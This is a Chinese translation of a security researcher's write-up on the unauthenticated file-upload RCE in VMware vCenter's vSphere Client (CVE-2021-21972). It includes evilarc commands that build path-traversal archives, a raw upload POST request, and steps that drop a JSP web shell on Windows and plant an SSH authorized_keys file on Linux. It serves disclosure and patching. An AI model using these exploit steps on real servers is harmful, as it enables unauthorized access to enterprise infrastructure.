谈谈我们如何发现 VMware vCenter 的越权 RCE
作者:Mikhail Klyuchnikov
编译:奇安信代码卫士团队
2020年秋,我从 VMware vCenter 的 vSphere Client 组件中发现了多个漏洞,可导致越权客户端通过多种协议以目标服务器的身份执行任意命令并发送请求:
越权文件上传导致远程代码执行 (RCE) (CVE-2021-21972)
越权服务器端请求伪造 (SSRF) 漏洞 (CVE-2021-21973)
本文将说明发现 VMware vSphere 客户端 RCE 漏洞的过程以及技术详情,并解释如何可在多种平台上利用它。
VMware vCenter/vSphere 可使企业基础设施虚拟化,并提供控制手段。虽然也可从外围看到该软件但多数情况下它位于内网中。
在分析 vSphere Client 时,像往常一样,我同时采用了黑盒测试和白盒测试方法,专注于无需授权即可利用的漏洞。我尝试通过 Web 面板发送尽可能不同的请求且全部都没有 cookie 标头。
向 /ui/vropspluginui/rest/services/* 发送未授权请求后,我发现它确实并没有要求任何认证。
该 Web 应用的某些特征依赖于通常位于单独 .jar 文件中的插件。例如,vropspluginui 插件就在文件 vropsplugin-service.jar 中执行。
就我的理解,每个插件必须指定其中哪些端点要求在 Web 面板中授权才能运行以及哪些不需要。该插件被配置为允许未授权用户访问所处理的任何 URL。
负责 URL /ui/vropspluginui/rest/services/uploadova 的 uploadOvaFile 函数引起了我的兴趣。
(易受攻击的代码)
该路径的句柄执行如下动作:
收到含有 uploadFile 参数的 POST 请求
读取并将该参数的内容写入 inputStream 变量
以 .tar 文档格式打开结果数据
检索所有文档的(无目录)条目
在遍历所有条目时,使用文件命名约定 /tmp/unicorn_ova_dir + entry_name 在磁盘上创建每个当前条目的副本
正是在这个地方,我注意到 .tar 条目的名称并未过滤,只是通过字符串 “/tmp/unicorn_ova_dir” 进行了拼接;在相应位置创建了文件。这意味着我们可以创建包含字符串 “../” 的文档条目,从而将任意文件上传到服务器上的任意目录中。
为使 .tar 文档利用这一行为,我再次使用了 evilarc 工具。
python evilarc.py -d 2 -p 'testFolder\' -o win -f winexpl.tar testUpload.txt
结果文档中包含一个名为 “..\..\testFolder\testUpload.txt” 的文件。我将其上传到 URL /ui/vropspluginui/rest/services/uploadova 中并检查服务器的文件系统的 c:\root 目录中是否存在 testFolder 文件夹及其嵌入文件。
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vSphereClient.local
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 10425
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
{craftedArchive}
------WebKitFormBoundaryH8GoragzRFVTw1VD--
我的 .txt 文件均已成功上传,目前可通过 C:\testFolder\testUpload.txt 访问。
为了在目标系统上执行任意命令,我们需要上传一个无需授权即可访问的 .jsp shell。为了发现这类位置,我们需要:
从磁盘上找到可写路径,可使用之前描述的漏洞创建文件
将找到的文件路径映射到可访问 web-roots、运行 .jsp 脚本且无需授权的文件夹结构中。
首先,我们先上传文件 testUpload.txt,检查下所上传的文件会获取哪些权限,并查看其属性目录。从中可知它的所有人是用户 “vsphere-ui”。
在搜索候选位置时,目录 C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ (含有 .jsp 文件)看起来不错。
检查对 jsp 脚本的未授权访问时成功了。先来查看 vsphere-ui 是否对该目录拥有写权限。
结果确实如此。现在我们可以上传一个特殊构造的 .jsp 文件,在系统上执行命令。
我们先创建一个包含构造的 .jsp shell payload 的文档并将其发送到正在研究的 URL。
python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar testRCE.jsp
.jsp 已被上传到服务器,使我们能够以 NT AUTHORITY\SYSTEM 权限在系统上执行任意命令。
Linux 实例的情况稍有不同。但它们也易受攻击且可导致外部用户上传任意文件。
在 Linux 上,我无法找到可允许同时上传并执行 .jsp shell 的目录,但存在另外一种可在服务器上执行命令的方法。
我们可以以 vsphere-ui 用户权限上传任意文件,但如果我们将公钥上传到该用户的 home 目录并尝试使用私钥通过 SSH 连接到服务器会怎么样?
我们先查看下是否可从外部访问 SSH:
nmap -p 22 vSphereLinux.local
第一步,生成一个密钥对:
ssh-keygen -t rsa
随后以生成的公钥创建一个 .tar 文档:
python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar authorized_keys
接着,利用该漏洞上传文件并尝试通过 SSH 连接到目标主机:
ssh -i /path/to/id_rsa vsphere-ui@vSphereLinux.local
成了!我们可以以 vsphere-ui 用户的权限访问服务器。
本文演示了以未认证用户身份在 VMware vSphere Client 中实现 RCE 的方法。除了访问命令行外,攻击者可利用 vropspluginui 插件中缺乏认证的情况执行其它恶意动作。
强烈建议用户更新至最新版本。更多信息可参见:
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
2020年10月2日:漏洞提交
2020年10月3日:厂商首次回应
2020年10月9日:漏洞复现成功,厂商着手修复
2021年2月23日:漏洞修复,安全公告发布
1个已知CVE,7步,找到一个高质量RCE并获奖金
https://swarm.ptsecurity.com/unauth-rce-vmware/
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。